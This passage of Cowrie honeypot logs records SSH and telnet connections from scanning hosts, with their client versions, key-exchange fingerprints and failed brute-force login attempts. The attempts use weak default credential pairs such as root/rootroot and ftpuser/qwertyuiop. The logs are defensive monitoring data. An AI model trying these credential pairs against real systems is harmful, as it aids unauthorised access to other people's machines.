t-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:51.316815Z","src_ip":"159.203.92.129","session":"24c09f536f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123123","message":"login attempt [ansible/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:51.328912Z","src_ip":"159.203.92.129","session":"24c09f536f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:52.334409Z","src_ip":"159.203.92.129","session":"24c09f536f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37080,"dst_ip":"10.17.0.5","dst_port":22,"session":"b17311c248ca","protocol":"ssh","message":"New connection: 176.65.139.103:37080 (10.17.0.5:22) [session: b17311c248ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:53.566799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:53.571456Z","src_ip":"176.65.139.103","session":"b17311c248ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:53.704726Z","src_ip":"176.65.139.103","session":"b17311c248ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:53.990831Z","src_ip":"176.65.139.103","session":"b17311c248ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:55.112474Z","src_ip":"176.65.139.103","session":"b17311c248ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.903773307800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:57.055240Z","src_ip":"161.97.124.15","session":"ca828209b766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37086,"dst_ip":"10.17.0.5","dst_port":22,"session":"0011cc9db199","protocol":"ssh","message":"New connection: 176.65.139.103:37086 (10.17.0.5:22) [session: 0011cc9db199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:01.486820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:01.491559Z","src_ip":"176.65.139.103","session":"0011cc9db199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:01.575526Z","src_ip":"176.65.139.103","session":"0011cc9db199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:01.850085Z","src_ip":"176.65.139.103","session":"0011cc9db199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:03.088826Z","src_ip":"176.65.139.103","session":"0011cc9db199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49346,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4740cf82de1","protocol":"telnet","message":"New connection: 185.26.126.47:49346 (159.203.135.109:23) [session: c4740cf82de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:03.643792Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffed229ff5fc","protocol":"ssh","message":"New connection: 103.176.20.115:37126 (10.17.0.5:22) [session: ffed229ff5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:06.925010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:06.929699Z","src_ip":"103.176.20.115","session":"ffed229ff5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:07.186554Z","src_ip":"103.176.20.115","session":"ffed229ff5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa111...","message":"login attempt [root/aaa111...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:08.246814Z","src_ip":"103.176.20.115","session":"ffed229ff5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d424bca451","protocol":"telnet","message":"New connection: 185.26.126.47:52292 (159.203.135.109:23) [session: b1d424bca451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:08.619015Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"48424d14cd5f","protocol":"ssh","message":"New connection: 176.65.139.103:57758 (10.17.0.5:22) [session: 48424d14cd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:09.484954Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:09.506236Z","src_ip":"103.176.20.115","session":"ffed229ff5fc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:09.510057Z","src_ip":"176.65.139.103","session":"48424d14cd5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:09.593146Z","src_ip":"176.65.139.103","session":"48424d14cd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:10.013427Z","src_ip":"176.65.139.103","session":"48424d14cd5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.489384412765503,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:10.133054Z","src_ip":"185.26.126.47","session":"c4740cf82de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30047607421875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:11.053319Z","src_ip":"161.97.124.15","session":"2b1ff8a0139f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:11.252534Z","src_ip":"176.65.139.103","session":"48424d14cd5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":50772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0919a9941369","protocol":"ssh","message":"New connection: 202.184.144.220:50772 (10.17.0.5:22) [session: 0919a9941369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:14.071018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:14.076086Z","src_ip":"202.184.144.220","session":"0919a9941369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:14.321358Z","src_ip":"202.184.144.220","session":"0919a9941369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwertyuiop","message":"login attempt [ftpuser/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.333790Z","src_ip":"202.184.144.220","session":"0919a9941369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00206995010376,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.424962Z","src_ip":"177.54.170.240","session":"62e65789db99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.858910083770752,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.477799Z","src_ip":"185.26.126.47","session":"b1d424bca451","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e918bb05cd","protocol":"telnet","message":"New connection: 177.54.170.240:43942 (10.17.0.5:23) [session: b1e918bb05cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.740411Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58788,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea8a76b9c44","protocol":"ssh","message":"New connection: 176.65.139.103:58788 (10.17.0.5:22) [session: aea8a76b9c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.819658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:15.825093Z","src_ip":"176.65.139.103","session":"aea8a76b9c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:16.083229Z","src_ip":"176.65.139.103","session":"aea8a76b9c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:16.468750Z","src_ip":"176.65.139.103","session":"aea8a76b9c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:16.580693Z","src_ip":"202.184.144.220","session":"0919a9941369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:17.569261Z","src_ip":"176.65.139.103","session":"aea8a76b9c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.28573250770569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:20.048474Z","src_ip":"161.97.124.15","session":"be324355e73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00132441520691,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:21.267133Z","src_ip":"177.54.170.240","session":"cbc143288738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"91785fa3e218","protocol":"telnet","message":"New connection: 177.54.170.240:44444 (10.17.0.5:23) [session: 91785fa3e218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:21.574142Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58808,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0ed316c204","protocol":"ssh","message":"New connection: 176.65.139.103:58808 (10.17.0.5:22) [session: ab0ed316c204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:22.142510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:22.208460Z","src_ip":"176.65.139.103","session":"ab0ed316c204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:22.265645Z","src_ip":"176.65.139.103","session":"ab0ed316c204","protocol":"ssh"}
